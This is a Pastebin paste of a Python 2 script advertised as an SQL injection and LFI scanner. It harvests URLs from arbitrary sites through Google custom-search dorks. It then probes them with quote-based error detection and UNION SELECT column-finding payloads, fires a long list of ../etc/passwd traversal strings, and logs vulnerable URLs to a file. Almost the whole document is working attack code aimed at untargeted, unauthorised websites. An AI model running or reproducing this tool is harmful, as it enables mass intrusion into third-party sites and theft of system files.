Advertisement
1337ings

[Python] SQL Injection/LFI Scanner

Sep 14th, 2016
2,657
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.82 KB | None | 0 0
  1. #!/usr/bin/python
  2. ####################################################################################
  3. # _____ _ #
  4. # / ____| | | #
  5. # | | ___ _ __ ___ _ __ ___ __ _ _ __ __| |___ #
  6. # | | / _ \| '_ ` _ \| '_ ` _ \ / _` | '_ \ / _` / __| #
  7. # | |___| (_) | | | | | | | | | | | (_| | | | | (_| \__ \ #
  8. # \_____\___/|_| |_| |_|_| |_| |_|\__,_|_| |_|\__,_|___/ #
  9. # #
  10. # /!\N O R M A L - E X E C U T I O N/!\ #
  11. # #
  12. # python scan.py -i id= -s com -c google -f php -m 500 #
  13. # #
  14. # /!\O P T I O N S/!\ #
  15. # #
  16. # -i = dork EX:(php?id=) #
  17. # -s = site EX:(com, org, net, li) #
  18. # -c = search engine EX:(google, search, bing, duckduckgo) #
  19. # -f = file type NOTE:(keep php for sql injections) #
  20. # -m = search results EX:(5-1000) #
  21. # #
  22. # /!\ Saving output /!\ #
  23. # after scanning for LFI or SQL injections check discovery.txt #
  24. # #
  25. ####################################################################################
  26. # #
  27. # /!\ Executing "python scan.py" cause errors in script /!\ #
  28. # #
  29. # /!\ Executing "python scan.py -h" will show help menu /!\ #
  30. # #
  31. ####################################################################################
  32.  
  33. import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, time
  34. from random import choice
  35. from optparse import OptionParser
  36.  
  37. if sys.platform == 'linux' or sys.platform == 'linux2':
  38. clearing = 'clear'
  39. else:
  40. clearing = 'cls'
  41. os.system(clearing)
  42.  
  43.  
  44. colMax = 20
  45. log = "discovery.txt "
  46. logfile = open(log, "a")
  47. threads = []
  48. numthreads = 1
  49. lfinumthreads =8
  50. timeout = 4
  51. socket.setdefaulttimeout(timeout)
  52.  
  53. W = "\033[0m";
  54. R = "\033[31m";
  55. G = "\033[32m";
  56. O = "\033[33m";
  57. B = "\033[34m";
  58.  
  59.  
  60. rSA = [2,3,4,5,6]
  61.  
  62. CXdic = {'google': '008548304570556886379:0vtwavbfaqe',
  63. 'search': '002877699081652281083:klnfl5og4kg',
  64. 'bing': '009758108896363993364:wnzqtk1afdo',
  65. 'duckduckgo': '014345598409501589908:mplknj4r1bu'}
  66.  
  67. SQLeD = {'MySQL': 'error in your SQL syntax',
  68. 'Oracle': 'ORA-01756',
  69. 'MiscError': 'SQL Error',
  70. 'MiscError2': 'mysql_fetch_row',
  71. 'MiscError3': 'num_rows',
  72. 'JDBC_CFM': 'Error Executing Database Query',
  73. 'JDBC_CFM2': 'SQLServer JDBC Driver',
  74. 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
  75. 'MSSQL_Uqm': 'Unclosed quotation mark',
  76. 'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
  77. 'MS-Access_JETdb': 'Microsoft JET Database'}
  78.  
  79. lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]
  80.  
  81.  
  82. filetypes = ['php','php5','asp','aspx','jsp','htm','html','cfm']
  83.  
  84. header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  85. 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  86. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  87. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  88. 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  89. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  90. 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  91. 'Opera/8.00 (Windows NT 5.1; U; en)',
  92. 'amaya/9.51 libwww/5.4.0',
  93. 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  94. 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  95. 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  96. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  97. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 [email protected])',
  98. 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
  99.  
  100. gnum = 100
  101.  
  102. def logo():
  103. print G+"\n --------------------------------------------------------------- "
  104. print "| S Q L - I N J N E C T I O N // L F I - S C A N N E R |"
  105. print "| C O D E D - B Y - Chris Poole | @codingplanets |"
  106. print "| /!\ U S A G E /!\ |"
  107. print "| python scan.py -i id= -s com -c google -f php -m 500 |"
  108. print "| For all usages please redirect to the top of the script |"
  109. print "|---------------------------------------------------------------|\n"
  110. print "_______________________________________"
  111. print W+"\n[!] Started at %s\n" % time.strftime("%X")
  112.  
  113. def cxeSearch(go_inurl,go_site,go_cxe,go_ftype,maxc):
  114. uRLS = []
  115. counter = 0
  116. while counter < int(maxc):
  117. jar = cookielib.FileCookieJar("cookies")
  118. query = 'q='+go_inurl+'+'+go_site+'+'+go_ftype
  119. results_web = 'http://www.google.com/cse?'+go_cxe+'&'+query+'&num='+str(gnum)+'&hl=en&lr=&ie=UTF-8&start=' + repr(counter) + '&sa=N'
  120. request_web = urllib2.Request(results_web)
  121. agent = random.choice(header)
  122. request_web.add_header('User-Agent', agent)
  123. opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  124. text = opener_web.open(request_web).read()
  125. strreg = re.compile('(?<=href=")(.*?)(?=")')
  126. names = strreg.findall(text)
  127. counter += 100
  128. for name in names:
  129. if name not in uRLS:
  130. if re.search(r'\(', name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name):
  131. pass
  132. elif re.search("google", name) or re.search("youtube", name) or re.search(".gov", name) or re.search("%", name):
  133. pass
  134. else:
  135. uRLS.append(name)
  136. tmpList = []; finalList = []
  137. print "[+] URLS (unsorted) :", len(uRLS)
  138. for entry in uRLS:
  139. try:
  140. t2host = entry.split("/",3)
  141. domain = t2host[2]
  142. if domain not in tmpList and "=" in entry:
  143. finalList.append(entry)
  144. tmpList.append(domain)
  145. except:
  146. pass
  147. print "[+] URLS (sorted) :", len(finalList)
  148. return finalList
  149.  
  150. class injThread(threading.Thread):
  151. def __init__(self,hosts):
  152. self.hosts=hosts;self.fcount = 0
  153. self.check = True
  154. threading.Thread.__init__(self)
  155.  
  156. def run (self):
  157. urls = list(self.hosts)
  158. for url in urls:
  159. try:
  160. if self.check == True:
  161. ClassicINJ(url)
  162. else:
  163. break
  164. except(KeyboardInterrupt,ValueError):
  165. pass
  166. self.fcount+=1
  167.  
  168. def stop(self):
  169. self.check = False
  170.  
  171. class lfiThread(threading.Thread):
  172. def __init__(self,hosts):
  173. self.hosts=hosts;self.fcount = 0
  174. self.check = True
  175. threading.Thread.__init__(self)
  176.  
  177. def run (self):
  178. urls = list(self.hosts)
  179. for url in urls:
  180. try:
  181. if self.check == True:
  182. ClassicLFI(url)
  183.  
  184. else:
  185. break
  186. except(KeyboardInterrupt,ValueError):
  187. pass
  188. self.fcount+=1
  189.  
  190. def stop(self):
  191. self.check = False
  192.  
  193.  
  194. def ClassicINJ(url):
  195. EXT = "'"
  196. host = url+EXT
  197. try:
  198. source = urllib2.urlopen(host).read()
  199. for type,eMSG in SQLeD.items():
  200. if re.search(eMSG, source):
  201. print R+"\n[!] Discovered a SQL injection:", O+host, B+"Error:", type
  202. #logfile.write("\n"+host)
  203. findcol(url)
  204.  
  205. else:
  206. pass
  207. except:
  208. pass
  209.  
  210.  
  211. def findcol(url):
  212. print "\n[+] Attempting to find the number of columns ..."
  213. print "If not press CTRL+C ONCE and it will not begin the SQL injection, will skip to next."
  214. checkfor = []
  215. firstgo = "True"
  216. site = url+"+and+1=2+union+all+select+"
  217. makepretty = ""
  218. for a in xrange(0,colMax):
  219. poole = "Chris"+str(a)+"Poole"
  220. checkfor.append(poole)
  221. if firstgo == "True":
  222. site = site+"0x"+poole.encode("hex")
  223. firstgo = "False"
  224. else:
  225. site = site+",0x"+poole.encode("hex")
  226. finalurl = site+"--"
  227. source = urllib2.urlopen(finalurl).read()
  228. for b in checkfor:
  229. colFound = re.findall(b,source)
  230. if len(colFound) >= 1:
  231. print "\n[+] Column Length is:",len(checkfor)
  232. b = re.findall(("\d+"),b)
  233. print "[+] Found null column at column #:",b[0]
  234. firstgo = "True:"
  235. for c in xrange(0,len(checkfor)):
  236. if firstgo == "True":
  237. makepretty = makepretty+str(c)
  238. firstgo = "False"
  239. else:
  240. makepretty = makepretty+","+str(c)
  241. print "[+] Site URL:",url+"+and+1=2+union+all+select+"+makepretty+"--"
  242. url = url+"+and+1=2+union+all+select+"+makepretty+"--"
  243. url = url.replace(","+b[0]+",",",poole,")
  244. url = url.replace("+"+b[0]+",","+"+"poole,")
  245. url = url.replace(","+b[0],",poole")
  246. print "[+] poole URL:",url
  247. logfile.write("\n"+url)
  248.  
  249.  
  250.  
  251.  
  252. def ClassicLFI(url):
  253. lfiurl = url.rsplit('=' ,1)[0]
  254. if lfiurl[-1] != "=":
  255. lfiurl = lfiurl + "="
  256. for lfi in lfis:
  257. print G+"[+] Checking:",lfiurl+lfi.replace("\n", "")
  258. #print
  259. try:
  260. check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read()
  261. if re.findall("root:x", check):
  262. print R+"[!] Discovered a LFI: ", O+lfiurl+lfi
  263. logfile.write("\n"+lfiurl+lfi)
  264.  
  265.  
  266. except:
  267. pass
  268.  
  269. parser = OptionParser()
  270. parser.add_option("-i" ,type='string', dest='inurl',action='store', default="Owned by Chris Poole", help="inurl: operator")
  271. parser.add_option("-s", type='string', dest='site',action='store', default="com", help="site: operator")
  272. parser.add_option("-c", type='string', dest='cxe',action='store', default='redfront', help="custom search engine (google, search, bing, duckduckgo)")
  273. parser.add_option("-f", type='string', dest='filetype',action='store', default='php', help="server side language filetype")
  274. parser.add_option("-m", type='string', dest='maxcount',action='store',default='500', help="max results (default 500)")
  275. (options, args) = parser.parse_args()
  276.  
  277. logo()
  278. if options.inurl != None:
  279. print B+"[!] Dork :",options.inurl
  280. go_inurl = 'inurl:'+options.inurl
  281. if options.inurl != None:
  282. if options.filetype in filetypes:
  283. print "[!] Filetype :",options.filetype
  284. go_ftype = 'inurl:'+options.filetype
  285. else:
  286. print "[!] inurl-filetype : php"
  287. go_ftype = 'inurl:php'
  288. if options.site != None:
  289. print "[!] Site :",options.site
  290. go_site = 'site:'+options.site
  291. if options.cxe != None:
  292. if options.cxe in CXdic.keys():
  293. print "[!] CXE :",CXdic[options.cxe]
  294. ccxe = CXdic[options.cxe]
  295. else:
  296. print "[!] CXE : No proper CXE defined, using google"
  297. ccxe = CXdic['google']
  298. go_cxe = 'cx='+ccxe
  299. print "[!] Page results :",options.maxcount
  300. cuRLS = cxeSearch(go_inurl,go_site,go_cxe,go_ftype,options.maxcount)
  301. mnu = True
  302. while mnu == True:
  303. print "_______________________________________"
  304. print G+"\n[1] Injection Testing"
  305. print "[2] LFI Testing"
  306. print "[0] Exit\n"
  307. print W+"\nKey in your selection.."
  308. chce = raw_input("[root@NASA ~]# ")
  309. if chce == '1':
  310. print "\n[+] Starting SQL Injection scan."
  311. print "[+] This can take a second.."
  312. print "[!] Starting...\n"
  313. i = len(cuRLS) / int(numthreads)
  314. m = len(cuRLS) % int(numthreads)
  315. z = 0
  316. if len(threads) <= numthreads:
  317. for x in range(0, int(numthreads)):
  318. sliced = cuRLS[x*i:(x+1)*i]
  319. if (z < m):
  320. sliced.append(cuRLS[int(numthreads)*i+z])
  321. z += 1
  322. thread = injThread(sliced)
  323. thread.start()
  324. threads.append(thread)
  325. for thread in threads:
  326. thread.join()
  327.  
  328. if chce == '2':
  329. print "\n[+] Starting LFI scan. "
  330. print "[+] This can take a second.."
  331. print "[!] Starting...\n"
  332. i = len(cuRLS) / int(lfinumthreads)
  333. m = len(cuRLS) % int(lfinumthreads)
  334. z = 0
  335. if len(threads) <= lfinumthreads:
  336. for x in range(0, int(lfinumthreads)):
  337. sliced = cuRLS[x*i:(x+1)*i]
  338. if (z < m):
  339. sliced.append(cuRLS[int(lfinumthreads)*i+z])
  340. z += 1
  341. thread = lfiThread(sliced)
  342. thread.start()
  343. threads.append(thread)
  344. for thread in threads:
  345. thread.join()
  346.  
  347.  
  348. if chce == '0':
  349. print R+"\n[-] Exiting ..."
  350. mnu = False
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement